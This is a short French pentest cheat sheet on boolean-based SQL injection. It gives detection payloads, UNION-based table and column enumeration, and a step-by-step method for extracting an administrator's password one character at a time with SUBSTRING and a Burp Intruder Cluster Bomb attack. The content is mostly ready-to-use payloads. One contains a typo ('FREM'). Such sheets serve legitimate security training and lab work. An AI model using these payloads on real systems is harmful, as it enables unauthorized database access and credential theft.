🥽Boolean based / Error Based

Détection

Afin de détecter une boolean based SQLi, on va d'abord tenter d'envoyer un payload générique type ' or 1=1-- puis vérifier si il y a une différence entre la réponse de la requête avec le payload et sans. Si un élément a changé, alors il y a possiblement une injection.

'%20or'1'=='1
' or 1=1--

Enumération des tables

' UNION SELECT 'a' FROM <FUZZtables> WHERE 1=1--

true pour table users

Enumeration des colonnes

' UNION SELECT 'a' FROM users WHERE <FUZZcolonnes>='administrator'--

true pour colonne username

Determiner le nombre de caractères dans le mot de passe d'un utilisateur

' AND (SELECT username FREM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)='administrator'--

Exploitation avec SUBSTR / SUBSTRING

' and (select substring(password,<LENGTH_FUZZ>,1) from users where username='administrator')='<LETTER_FUZZ>'--

Avec Burp Suite, aller dans intruder, sélectionner les zones <LENGTH_FUZZ> et <LETTER_FUZZ> puis utiliser l'attaque Cluster Bomb.

Payload 1: numéros de 1 à la taille découverte plus tôt

Payload 2: bruteforce

Dans les paramètres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le résultat final.

Dernière mise à jour